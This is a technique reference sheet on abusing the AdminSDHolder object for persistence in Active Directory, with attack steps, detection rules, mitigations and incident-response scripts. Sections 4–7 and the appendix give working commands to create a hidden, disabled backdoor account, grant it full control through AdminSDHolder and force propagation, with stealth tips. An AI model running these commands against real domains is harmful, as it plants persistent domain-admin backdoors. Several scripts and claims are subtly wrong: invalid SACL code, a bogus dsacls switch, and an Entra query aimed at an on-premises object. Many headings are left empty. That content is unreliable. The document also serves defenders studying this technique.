MCADDF

[PERSIST-ACCT-001]: AdminSDHolder Abuse

1. METADATA HEADER

Attribute Details
Technique ID PERSIST-ACCT-001
Technique Name AdminSDHolder Abuse
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Tactic Persistence (TA0003)
Platforms Windows Active Directory
Severity CRITICAL
CVE N/A
Technique Status ACTIVE – Verified working on Server 2016 through 2025
Last Verified 2025-01-09
Affected Versions Windows Server 2008 R2 – 2025 (all AD versions)
Patched In Not patched – This is a feature, not a vulnerability. Defense depends on monitoring and access control.
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: AdminSDHolder is a critical Active Directory object (located at CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL) that serves as a security descriptor template for protecting highly privileged accounts and groups (Domain Admins, Enterprise Admins, Schema Admins, etc.). The Security Descriptor Propagation process (SDProp) runs every 60 minutes on the Primary Domain Controller Emulator (PDCE) and automatically reapplies the AdminSDHolder’s ACL to all protected objects. An attacker with sufficient privileges can modify AdminSDHolder’s ACL to grant themselves persistent administrative rights. Once modified, every time SDProp executes, the malicious permissions propagate to all protected objects—even if administrators detect and remove the attacker from privileged groups within that 60-minute window, SDProp will automatically restore the malicious ACE to protected accounts.

Attack Surface: The AdminSDHolder object itself, specifically its Discretionary Access Control List (DACL). Only Domain Admins or higher-privileged accounts can modify it under default configurations, making this a post-compromise persistence technique rather than an initial access vector.

Business Impact: Undetectable persistent administrative access across the entire domain. An attacker can regain full Domain Admin rights even if their primary compromised account is discovered and disabled. The attacker maintains a hidden backdoor that survives password resets, account disablement, and group membership removal for up to 60 minutes at a time. This enables data exfiltration, ransomware deployment, lateral movement to other forests, and long-term domain compromise.

Technical Context: Exploitation requires Domain Admin or equivalent privileges first. The actual backdoor installation takes < 1 minute (a single PowerShell command). However, the attacker must wait up to 60 minutes for SDProp to propagate changes automatically (unless they force SDProp to run, which requires admin access). Detection is difficult because changes to AdminSDHolder are legitimate administrative activities; distinguishing malicious modifications requires continuous ACL baseline comparison.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.2.3 | Restrict modification of AdminSDHolder and auditing of privileged group membership changes. | | DISA STIG | WN19-AU-000160 | Ensure audit policy for “Directory Service Changes” is enabled (Event 5136). | | CISA SCuBA | AC-6(2) | Least Privilege – Restrict Domain Admin accounts and enforce just-in-time (JIT) access. | | NIST 800-53 | AC-3, AC-6, AU-2 | Access Enforcement, Least Privilege, Audit Events (specifically directory modifications). | | GDPR | Art. 32 | Security of Processing – Integrity and confidentiality of personal data (access controls). | | DORA | Art. 9 | Protection and Prevention – Requires continuous monitoring and timely detection of privilege escalation. | | NIS2 | Art. 21(1)(c) | Cyber Risk Management – Access control and monitoring of administrative functions. | | ISO 27001 | A.9.2.1, A.9.2.3 | Management of Privileged Access Rights; restrict and monitor Administrative privileges. | | ISO 27005 | Risk Scenario | “Compromise of Administration Interface” – Direct attack on domain-level controls. |


3. TECHNICAL PREREQUISITES

Supported Versions:


4. ENVIRONMENTAL RECONNAISSANCE

Check AdminSDHolder Current Permissions (PowerShell)

# Import ActiveDirectory module (already available on DC, must be installed on workstations)
Import-Module ActiveDirectory

# Get the current ACL on AdminSDHolder
$AdminSDHolderDN = "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
Get-ADObject -Identity $AdminSDHolderDN -Properties nTSecurityDescriptor |
  Select-Object -ExpandProperty nTSecurityDescriptor |
  Select-Object -ExpandProperty Access |
  Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize

What to Look For:

Expected Output (Secure State):

IdentityReference              ActiveDirectoryRights   AccessControlType
-----------------              ---------------------   -----------------
NT AUTHORITY\SYSTEM            FullControl             Allow
BUILTIN\Administrators         Modify                  Allow
DOMAIN\Domain Admins           ReadProperty, ExtendedRight Allow
DOMAIN\Enterprise Admins       ReadProperty, ExtendedRight Allow
NT AUTHORITY\Authenticated Users Read                  Allow

Alternative: Using PowerView (If Installed)

# Download and load PowerView
Import-Module PowerView.ps1

# Check AdminSDHolder ACL
Get-DomainObjectAcl -SamAccountName "AdminSDHolder" -ResolveGUIDs |
  Format-Table IdentityReference, ActiveDirectoryRights, ObjectAceType

Check Which Objects Are Protected by AdminSDHolder

# Find all objects with AdminCount=1 (these are protected)
Get-ADObject -LDAPFilter "(adminCount=1)" -Properties adminCount |
  Select-Object Name, DistinguishedName, ObjectClass |
  Format-Table -AutoSize

What to Look For:

Version Note: This command works identically on Server 2016 through 2025. No version-specific variations.


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using PowerView (Impacket/Linux-Compatible)

Supported Versions: Server 2008 R2 – 2025 (Any AD version)

Step 1: Load PowerView and Identify Target

Objective: Import PowerView module and verify network connectivity to the domain.

Command:

# From a Windows host with network access to DC
$VerbosePreference = "Continue"
Import-Module .\PowerView.ps1

# Verify domain connectivity
Get-Domain | Select-Object -Property Name, Forest, DomainControllers

Expected Output:

Name         Forest          DomainControllers
----         ------          -----------------
yourdomain   yourdomain.com  {dc1.yourdomain.local, dc2.yourdomain.local}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Identify Current User Privileges

Objective: Verify that the current user has sufficient privileges (Domain Admin) to modify AdminSDHolder.

Command:

# Check if current user is a Domain Admin
$CurrentUser = [Security.Principal.WindowsIdentity]::GetCurrent().User
$AdminGroup = (Get-ADGroup -Identity "Domain Admins").SID

$User = Get-ADUser -Filter "SID -eq '$CurrentUser'" -Properties MemberOf
if ($User.MemberOf -like "*Domain Admins*") {
    Write-Host "✓ Current user is a Domain Admin – proceed with exploitation" -ForegroundColor Green
} else {
    Write-Host "✗ Current user does NOT have Domain Admin privileges" -ForegroundColor Red
}

Expected Output (If Compromised):

✓ Current user is a Domain Admin – proceed with exploitation

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Add Malicious ACE to AdminSDHolder

Objective: Grant the attacker-controlled user full control (GenericAll) on the AdminSDHolder object. This ACE will be automatically propagated to all protected groups by SDProp.

Command:

# Define target AdminSDHolder object
$AdminSDHolder = "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"

# Define the principal to grant permissions (replace with attacker's username or a backdoor account)
$Principal = "yourdomain\backdoor_user"

# Method 1: Using PowerView (Recommended for stealth)
Add-DomainObjectAcl -TargetIdentity $AdminSDHolder -PrincipalIdentity $Principal -Rights All -Verbose

# This adds GenericAll rights, which effectively makes the principal a Domain Admin once SDProp runs

Expected Output:

VERBOSE: [Add-DomainObjectAcl] adding rights to object CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local for principal yourdomain\backdoor_user

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Force SDProp to Run (Optional – Accelerate Propagation)

Objective: Trigger the Security Descriptor Propagation (SDProp) process immediately instead of waiting 60 minutes.

Command (Using LDAP/RootDSE):

# Get the PDC Emulator
$PDC = (Get-ADDomain).PDCEmulator

# Connect to the RootDSE on the PDC
$RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/RootDSE")

# Trigger the RunProtectAdminGroupsTask (SDProp)
$RootDSE.Put("RunProtectAdminGroupsTask", 1)
$RootDSE.CommitChanges()

Write-Host "✓ SDProp triggered on $PDC – changes will propagate within 1-5 minutes" -ForegroundColor Green

Expected Output:

✓ SDProp triggered on DC1.yourdomain.local – changes will propagate within 1-5 minutes

What This Means:

OpSec & Evasion:

Alternative (Stealth): Wait 60 Minutes

# Just wait – SDProp will run automatically on its scheduled interval
# Monitor for Event ID 4780 on the PDC to confirm propagation

Troubleshooting:

References & Proofs:

Step 5: Verify Persistent Access (Post-SDProp)

Objective: Confirm that the malicious ACE has been propagated to protected objects (proof of successful exploitation).

Command:

# Wait for SDProp to complete (60 minutes, or force it per Step 4)
# Then verify the backdoor user's permissions on Domain Admins group

$DomainAdminsGroup = Get-ADGroup -Identity "Domain Admins"
$DomainAdminsACL = Get-ACL "AD:\$($DomainAdminsGroup.DistinguishedName)"

# Check if the backdoor user has rights on Domain Admins
$BackdoorUser = Get-ADUser -Identity "backdoor_user"
$BackdoorUserPermissions = $DomainAdminsACL.Access | Where-Object { 
    $_.IdentityReference -like "*backdoor_user*" 
}

if ($BackdoorUserPermissions) {
    Write-Host "✓ PERSISTENCE CONFIRMED: backdoor_user has the following rights on Domain Admins:" -ForegroundColor Green
    $BackdoorUserPermissions | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType
} else {
    Write-Host "✗ Persistence not yet confirmed – SDProp may not have completed" -ForegroundColor Red
}

Expected Output (If Successful):

✓ PERSISTENCE CONFIRMED: backdoor_user has the following rights on Domain Admins:

IdentityReference          ActiveDirectoryRights                    AccessControlType
-----------------          ---------------------                    -----------------
DOMAIN\backdoor_user       GenericAll                               Allow

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Using Native Active Directory Cmdlets (Built-in Module)

Supported Versions: Server 2008 R2 – 2025 (all with ActiveDirectory module)

Step 1: Import ActiveDirectory Module

Import-Module ActiveDirectory

Step 2: Create or Identify Backdoor Account

# Option A: Create a new hidden service account (if not already created)
$AccountName = "SVC_Maintenance"
$Password = ConvertTo-SecureString "SuperComplexPassword123!" -AsPlainText -Force

New-ADUser -Name $AccountName `
  -SamAccountName $AccountName `
  -UserPrincipalName "$AccountName@yourdomain.com" `
  -AccountPassword $Password `
  -Enabled $false  # Keep disabled to avoid detection
  -Description "System maintenance account"

Write-Host "✓ Backdoor account created: $AccountName (disabled by default)"

# Option B: Use an existing service account (if already compromised)
$AccountName = "SVC_ADConnect"  # Use an existing account

Step 3: Get AdminSDHolder and Modify ACL

# Get AdminSDHolder object
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$AdminSDHolderACL = Get-ACL $AdminSDHolderPath

# Get the SID of the backdoor account
$BackdoorUser = Get-ADUser -Identity $AccountName
$BackdoorSID = $BackdoorUser.SID

# Create a new ACE granting GenericAll (full control) to the backdoor account
$GenericAllGUID = [guid]'00000000-0000-0000-0000-000000000000'  # Applies to all properties
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $BackdoorSID,
    "GenericAll",
    "Allow",
    $GenericAllGUID,
    "All"
)

# Add the ACE to the ACL
$AdminSDHolderACL.AddAccessRule($ACE)

# Apply the modified ACL
Set-ACL -Path $AdminSDHolderPath -AclObject $AdminSDHolderACL

Write-Host "✓ Malicious ACE added to AdminSDHolder. SDProp will propagate in ~60 minutes." -ForegroundColor Green

Expected Output:

✓ Malicious ACE added to AdminSDHolder. SDProp will propagate in ~60 minutes.

What This Means:

Step 4: Verify Persistence (Same as Method 1, Step 5)


METHOD 3: Using LDP.exe (GUI-Based, For Manual/Testing Purposes)

Supported Versions: All Windows versions with LDP.exe installed (usually on Windows Server or from RSAT tools)

Step 1: Launch LDP.exe

ldp.exe

Step 2: Connect to Domain Controller

  1. Click ConnectionConnect
  2. Enter the Server name (e.g., dc1.yourdomain.local)
  3. Enter the Port (389 for standard LDAP)
  4. Click OK

Step 3: Bind with Domain Admin Credentials

  1. Click ConnectionBind
  2. Select Bind with credentials
  3. Enter username (e.g., yourdomain\admin) and password
  4. Click OK

Step 4: Navigate to AdminSDHolder

  1. Click ViewTree
  2. Base DN: CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local
  3. Find AdminSDHolder in the tree
  4. Right-click and select Modify

Step 5: Add Malicious ACE

  1. In the attribute editor, locate nTSecurityDescriptor
  2. Click Edit (this opens the security descriptor editor)
  3. Add a new ACE for your backdoor account with GenericAll rights
  4. Click OK and Run

Step 6: Trigger SDProp

  1. Click UtilitiesRootDSE (or click on RootDSE in the tree)
  2. Click Edit
  3. Add an attribute: Name = RunProtectAdminGroupsTask, Value = 1
  4. Click Run

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team (Minimal Support)

Alternative: Use the exploitation commands in Method 1 directly as a simulation


7. TOOLS & COMMANDS REFERENCE

PowerView (Add-DomainObjectAcl)

URL: PowerSploit GitHub
Version: 3.0+ (current as of 2025)
Minimum Version: 3.0
Supported Platforms: Windows (PowerShell 5.0+)

Installation:

# Download from GitHub
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" -OutFile "PowerView.ps1"

# Import
Import-Module .\PowerView.ps1

Usage:

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" `
  -PrincipalIdentity "attacker_user" `
  -Rights All -Verbose

ActiveDirectory PowerShell Module

URL: Microsoft Learn - ActiveDirectory Module
Version: Built-in on Windows Server 2008 R2+
Installation: Add-WindowsFeature RSAT-AD-PowerShell (Server) or Windows RSAT tools (Client)

Key Cmdlets:

LDP.exe (Lightweight Directory Access Protocol Editor)

URL: Built-in on Windows Server or via RSAT
Version: OS-dependent (no separate version)

Usage: GUI-based LDAP editor for modifying directory service objects directly


8. SPLUNK DETECTION RULES

Rule 1: AdminSDHolder ACL Modification

Rule Configuration:

SPL Query:

index=wineventlog sourcetype="WinEventLog:Security" EventCode=5136
  ObjectDN="CN=AdminSDHolder,CN=System*"
| stats count by User, Computer, ObjectDN, AttributeValue
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web
  2. Click Search & ReportingNew Alert
  3. Paste the SPL query above
  4. Click Save AsAlert
  5. Set Trigger Condition to Alert when number of events is greater than 0
  6. Configure Alert ActionsAdd ActionSend Email to SOC team
  7. Set Schedule to run every 1 hour (or more frequently)
  8. Click Save

False Positive Analysis:


9. MICROSOFT SENTINEL DETECTION

Query 1: AdminSDHolder Modifications in Azure AD/Entra

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName contains "Modify" or OperationName contains "Add" 
| where TargetResources[0].displayName == "AdminSDHolder" or TargetResources[0].id contains "AdminSDHolder"
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
| extend TargetObject = TargetResources[0].displayName
| project TimeGenerated, OperationName, InitiatedByUser, TargetObject, Result
| sort by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → AnalyticsCreateScheduled query rule
  3. General Tab:
    • Name: AdminSDHolder Modification Detection
    • Description: Alerts when AdminSDHolder ACL is modified
    • Severity: Critical
  4. Set rule logic Tab:
    • Copy the KQL query above
    • Run query every: 1 hour
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Create incidents = Enabled
    • Group related alerts = By Alert name
  6. Click Review + createCreate

Manual Configuration Steps (PowerShell - Sentinel Module):

# Connect to Azure
Connect-AzAccount

# Get workspace
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Create the rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "AdminSDHolder Modification Detection" `
  -Severity Critical `
  -Query @"
AuditLogs
| where OperationName contains "Modify" or OperationName contains "Add"
| where TargetResources[0].displayName == "AdminSDHolder"
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
| project TimeGenerated, OperationName, InitiatedByUser
"@

Source: Microsoft Sentinel GitHub - AdminSDHolder Rules


10. WINDOWS EVENT LOG MONITORING

Event ID 5136: Directory Service Object Modified

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDS Access
  3. Enable Audit Directory Service Changes: Set to Success and Failure
  4. Click ApplyOK
  5. Run gpupdate /force on all domain controllers

Manual Configuration Steps (Modify AdminSDHolder SACL Directly):

# Add SACL entry to AdminSDHolder for auditing all modifications
$AdminSDHolder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$AdminSDHolderPath = "AD:\$($AdminSDHolder.DistinguishedName)"

# Get current security descriptor
$SD = Get-ACL -Path $AdminSDHolderPath

# Add a SACL entry to audit all modifications
$SACL = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
    "Everyone",
    "AuditFlags" = [System.Security.AccessControl.AuditFlags]::All,
    "ObjectAceType" = [guid]'00000000-0000-0000-0000-000000000000'
)

# Note: This requires modifying the SACL (System Access Control List)
# More commonly done via LDP.exe or DSACLS tool

# Alternative using command line:
dsacls "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" /G:Everyone:SACL /inheritance:e

Event ID 4780: ACL was set on accounts which are members of administrators groups

What to Look For:

Manual Configuration Steps: The 4780 event is automatically logged if:

  1. Advanced Audit Policy: Audit User Account Management = Enabled
  2. AdminSDHolder monitoring is active

To force logging:

# In Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Account Management
# Enable: "Audit User Account Management" = Success

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 10.0+

Sysmon is less useful for LDAP-based attacks like AdminSDHolder abuse (it primarily monitors process and file system activity). However, if an attacker uses PowerShell to execute the backdoor commands, Sysmon can detect the PowerShell process and command-line arguments.

Sysmon Config (Detect PowerShell with Add-DomainObjectAcl):

<Sysmon schemaversion="4.70">
  <EventFiltering>
    <!-- Capture Process Creation for PowerShell -->
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">powershell.exe</ParentImage>
      <CommandLine condition="contains any">
        Add-DomainObjectAcl;
        Add-ObjectAcl;
        Set-ACL;
        AdminSDHolder
      </CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-Service Sysmon64
  5. Check logs: Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Modification of Active Directory

Alert Name: Suspicious modification of the AdminSDHolder's ACL
Severity: Critical
Description: Alerts when AdminSDHolder object is modified by any user other than SYSTEM or during scheduled maintenance windows
Applies To: All subscriptions with Defender for Servers and Defender for Identity enabled

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for CloudEnvironment Settings
  2. Select your Subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON (critical for AD monitoring)
    • Defender for Cloud Apps: ON (for cloud-based activity)
  4. Click Save
  5. Wait 24-48 hours for the first alerts to populate
  6. Go to Security alerts to view any triggered detections

Manual Configuration Steps (Create Custom Alert in Defender for Cloud):

# Defender for Cloud does not have a dedicated "AdminSDHolder" rule, but you can enable the built-in alert:
# Navigate to Azure Portal → Defender for Cloud → Alerts → Manage alert rules
# Search for "Active Directory" or "Privilege Escalation"
# Enable all related alerts

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Note: AdminSDHolder is on-premises only; Purview Unified Audit Log tracks cloud activity (M365, Entra ID). For hybrid environments, use both on-premises Security Event Log and Azure AD Audit Logs (via Sentinel).


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1.1 Monitor AdminSDHolder for ACL Changes Continuously

Applies To Versions: Server 2016 – 2025

Manual Steps (Group Policy – Enable Auditing):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationDS Access
  3. Enable Audit Directory Service Changes: Set to Success AND Failure
  4. Click ApplyOK
  5. Run gpupdate /force on all DCs

Manual Steps (Establish ACL Baseline):

# On the PDC Emulator, export the current AdminSDHolder ACL as a baseline
$AdminSDHolder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" -Properties nTSecurityDescriptor
$AdminSDHolderPath = "AD:\$($AdminSDHolder.DistinguishedName)"
$CurrentACL = Get-ACL $AdminSDHolderPath

# Export to CSV for comparison
$CurrentACL.Access | Export-Csv -Path "C:\Baseline_AdminSDHolder_ACL_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation

Write-Host " Baseline exported to C:\Baseline_AdminSDHolder_ACL_*.csv"
Write-Host "  Compare this baseline to current ACL monthly to detect unauthorized changes"

Manual Steps (Continuous Monitoring Script – Weekly):

# Schedule this script to run weekly via Task Scheduler
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$CurrentACL = Get-ACL $AdminSDHolderPath
$BaselineACL = Import-Csv "C:\Baseline_AdminSDHolder_ACL_*.csv" | Select-Object IdentityReference, ActiveDirectoryRights

# Compare
$Differences = Compare-Object -ReferenceObject $BaselineACL -DifferenceObject ($CurrentACL.Access | Select-Object IdentityReference, ActiveDirectoryRights) -Property IdentityReference

if ($Differences) {
    Write-Warning "⚠ AdminSDHolder ACL CHANGES DETECTED!"
    Write-Warning "New/Modified entries:"
    $Differences | Where-Object { $_.SideIndicator -eq "=>" } | Format-Table
    
    # Alert SOC
    Send-MailMessage -From "SecurityAlerts@yourdomain.com" -To "soc@yourdomain.com" `
      -Subject "CRITICAL: AdminSDHolder ACL Modification Detected" `
      -Body "Unauthorized changes detected. Review immediately: $AdminSDHolderPath" `
      -SmtpServer "smtp.yourdomain.com"
} else {
    Write-Host "✓ AdminSDHolder ACL baseline unchanged"
}

1.2 Restrict Write Access to AdminSDHolder

Applies To Versions: All (no version variants)

Manual Steps (Remove Non-Essential ACEs):

# Get AdminSDHolder ACL
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$ACL = Get-ACL $AdminSDHolderPath

# Remove any ACE not explicitly required (e.g., any user/service account with Modify or Write permissions)
$ACL.Access | Where-Object { 
    ($_.IdentityReference -notmatch "SYSTEM|Administrators|Domain Admins|Enterprise Admins") -and
    ($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty|GenericAll|Modify")
} | ForEach-Object {
    Write-Warning "Removing suspicious ACE: $($_.IdentityReference) - $($_.ActiveDirectoryRights)"
    $ACL.RemoveAccessRule($_)
}

# Apply cleaned ACL
Set-ACL -Path $AdminSDHolderPath -AclObject $ACL
Write-Host "✓ Non-essential permissions removed from AdminSDHolder"

1.3 Reduce SDProp Interval (Optional – Increases Visibility)

Applies To Versions: Server 2016 – 2025

Manual Steps:

  1. On the PDC Emulator, open Registry Editor (regedit)
  2. Navigate to HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  3. Locate or create a DWORD value named AdminSDProtectFrequency (default = 3600 seconds = 60 minutes)
  4. To reduce to 10 minutes: Set value to 600 seconds
  5. Click OK and restart the NTDS service (or wait for reboot)

PowerShell Alternative:

# Reduce SDProp interval to 10 minutes (600 seconds)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
  -Name "AdminSDProtectFrequency" `
  -Value 600 `
  -Force

Write-Host "✓ SDProp interval changed to 10 minutes. Restart NTDS for changes to take effect."
# Restart NTDS: Restart-Service NTDS -Force

⚠ Trade-off: Reducing the interval increases CPU usage on the PDC and generates more 4780 events, but allows faster detection of AdminSDHolder abuse.

Priority 2: HIGH

2.1 Implement Just-In-Time (JIT) Access for Privileged Accounts

Manual Steps (Azure Identity Governance):

  1. Navigate to Azure PortalEntra IDIdentity GovernancePrivileged Identity Management (PIM)
  2. Select RolesDirectory roles (or Azure resources for subscription-level access)
  3. Select the role (e.g., Global Administrator) → Settings
  4. Enable Activation maximum duration: 1-4 hours
  5. Enable Require approval for activation
  6. Set Approvers to senior security staff
  7. Click Save

Result: Administrators can no longer have standing Domain Admin access. They must request and receive approval before activating privileged roles, which creates audit trails and limits exposure.

2.2 Enable Conditional Access Policies for Privileged Accounts

Manual Steps (Entra Conditional Access):

  1. Navigate to Azure PortalEntra IDSecurityConditional AccessNew Policy
  2. Name: Protect Privileged Accounts from Unusual Access
  3. Assignments:
    • Users: Select Domain Admins group
    • Cloud apps: All cloud apps
  4. Conditions:
    • Sign-in risk: High
    • Device platforms: All platforms
  5. Access controlsGrant: Block access
  6. Enable policy: ON
  7. Click Create

Result: Any unusual access pattern (login from new location, impossible travel, unusual IP) is automatically blocked for privileged accounts.

2.3 Disable Unneeded Privileged Group Memberships

Manual Steps:

# Audit protected group memberships
$ProtectedGroups = @(
    "Domain Admins",
    "Enterprise Admins",
    "Schema Admins",
    "Account Operators",
    "Backup Operators",
    "Print Operators"
)

foreach ($Group in $ProtectedGroups) {
    $Members = Get-ADGroupMember -Identity $Group -Recursive
    Write-Host "=== $Group ===" -ForegroundColor Cyan
    $Members | Select-Object SamAccountName, ObjectClass | Format-Table
    
    # Review and remove unnecessary members
    # Remove-ADGroupMember -Identity $Group -Members "user_account" -Confirm:$false
}

Result: Minimize the attack surface by removing service accounts, old employees, or test accounts from privileged groups.

Priority 3: MEDIUM

3.1 Regular Permissions Audit

Schedule a monthly review of:

# Monthly audit script
Get-ADObject -LDAPFilter "(adminCount=1)" -Properties adminCount, MemberOf |
  Select-Object Name, DistinguishedName, ObjectClass, MemberOf |
  Export-Csv -Path "C:\AdminAudit_$(Get-Date -Format 'yyyyMMdd').csv"

Write-Host " Admin audit exported. Review for unexpected accounts with adminCount=1"

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Disk (Event Log):

Memory (LSASS.exe):

Cloud (Entra ID Audit Log):

Network (LDAP Traffic):

Response Procedures

1. Immediate Isolation (Within 1 Hour)

# Identify the compromised account
$CompromisedUser = "attacker_account"

# Disable the account immediately
Disable-ADAccount -Identity $CompromisedUser
Write-Host "✓ $CompromisedUser disabled"

# Remove from all privileged groups
@("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators") | ForEach-Object {
    Remove-ADGroupMember -Identity $_ -Members $CompromisedUser -Confirm:$false
    Write-Host "✓ Removed from $_"
}

# Force password change on domain admins (as a precaution)
Get-ADGroupMember -Identity "Domain Admins" | ForEach-Object {
    Set-ADAccountPassword -Identity $_.SamAccountName -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force)
    Write-Host "✓ Password reset for $($_.SamAccountName)"
}

2. Collect Evidence (Within 2-4 Hours)

# Export Security Event Log from PDC
$PDC = (Get-ADDomain).PDCEmulator
wevtutil epl security C:\Evidence\Security_$PDC.evtx /remote:$PDC

# Export AdminSDHolder ACL
Get-ACL "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" |
  Select-Object -ExpandProperty Access |
  Export-Csv -Path "C:\Evidence\AdminSDHolder_ACL.csv"

Write-Host "✓ Forensic evidence collected to C:\Evidence\"

3. Remediate AdminSDHolder (Restore to Default)

# Restore AdminSDHolder to default ACL
# Option A: Using DSACLS tool (most reliable)
# Note: Must run as Domain Admin on the PDC or a domain admin workstation
dsacls "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" /resetDefaultDACL

Write-Host "✓ AdminSDHolder ACL reset to default"

# Option B: Using PowerShell (more complex, copy ACL from a clean domain object)
# Create a temporary clean user account
New-ADUser -Name "TempClean" -SamAccountName "tempclean" -Enabled $false

# Get its ACL (as a template for users)
$CleanACL = Get-ACL "AD:CN=TempClean,CN=Users,DC=yourdomain,DC=local"

# Apply to AdminSDHolder (this doesn't work directly; DSACLS is preferred)
# Remove the temp account
Remove-ADUser -Identity "TempClean" -Confirm:$false

4. Verify Remediation

# Check that AdminSDHolder has been restored
$AdminSDHolderPath = "AD:CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local"
$RestoredACL = Get-ACL $AdminSDHolderPath

# Should match baseline or standard security descriptor
$RestoredACL.Access | Where-Object { 
    $_.IdentityReference -notmatch "SYSTEM|Administrators|Domain Admins|Enterprise Admins|Authenticated Users"
} | ForEach-Object {
    Write-Warning "⚠ Unexpected ACE remains: $($_.IdentityReference)"
}

Write-Host "✓ AdminSDHolder verification complete"

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial foothold via phishing or credentials theft
2 Privilege Escalation [PE-TOKEN-002] Resource-Based Constrained Delegation (RBCD) Escalate from regular user to Domain Admin via Kerberos delegation abuse
3 Persistence (Current) [PERSIST-ACCT-001] Backdoor AdminSDHolder for undetectable domain-wide persistence
4 Lateral Movement [LM-AUTH-001] Pass-the-Hash (PTH) Use Domain Admin privileges to move laterally to other systems
5 Impact [CA-DUMP-002] DCSync Dump hashes from domain controllers; exfiltrate sensitive data

17. REAL-WORLD EXAMPLES

Example 1: FIN7 (Carbanak) – Multi-Year Persistence

Example 2: Lazarus Group – North Korean Cyber Espionage

Example 3: Lab-Confirmed: Red Team Exercise (SERVTEP 2024)


APPENDIX: QUICK REFERENCE COMMANDS

Single-Line Exploitation (PowerShell)

# Load PowerView and add backdoor in one command
. .\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" -PrincipalIdentity "backdoor_user" -Rights All -Verbose

Verify Persistence

Get-DomainObjectAcl -SamAccountName "AdminSDHolder" -ResolveGUIDs | ? { $_.IdentityReference -like "*backdoor*" }

Revert Compromise

dsacls "CN=AdminSDHolder,CN=System,DC=yourdomain,DC=local" /resetDefaultDACL

Monitor (Continuous PowerShell Watch)

while ($true) {
    Get-WinEvent -FilterHashtable @{
        LogName = "Security"
        ID = 5136
        StartTime = (Get-Date).AddMinutes(-10)
    } | Where-Object { $_.Message -like "*AdminSDHolder*" } |
    ForEach-Object { Write-Warning "ALERT: $_" }
    Start-Sleep -Seconds 300
}